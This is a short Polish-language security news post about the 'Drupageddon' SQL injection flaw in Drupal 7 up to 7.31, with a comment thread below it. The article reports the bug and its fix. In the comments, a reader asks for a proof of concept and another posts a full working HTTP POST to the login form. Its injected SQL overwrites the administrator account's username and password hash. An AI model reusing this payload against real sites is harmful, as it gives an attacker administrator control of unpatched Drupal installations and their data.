Czy to już koniec czarnej serii błędów w popularnych rozwiązaniach IT? W dojrzałych platformach rzadko trafiają się już tak krytyczne błędy jak SQLi. Tym razem jednak błąd drzemał w trzewiach Drupala od roku 2011 i został odkryty przy okazji audytu kodu źródłowego platformy wykonywanego przez Stefana Essera (znanego głównie z jailbreaków iOSa).
Co ciekawe, błąd występuje w API Drupala, którego jednym z zadań miało być eliminowanie ataków typu SQLi. Wystarczy jedno żądanie HTTP by np. dodać do bazy nowe konto administratora. Podatne są wszystkie wersje od roku 2011 do dzisiaj. Błąd poprawiono w wersji 7.32. Szczegóły techniczne znajdziecie pod tym linkiem. Łatwo go zapamiętać – jego alias to zgodnie z ostatnią modą Drupageddon.com.
Komentarze
Czy gdzieś znaleść można poc?
POST /drupal-7.31/?q=node&destination=node HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/drupal-7.31/
Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 231
name[0%20;update+users+set+name%3d’owned’+,+pass+%3d+’$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld’+where+uid+%3d+’1′;;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in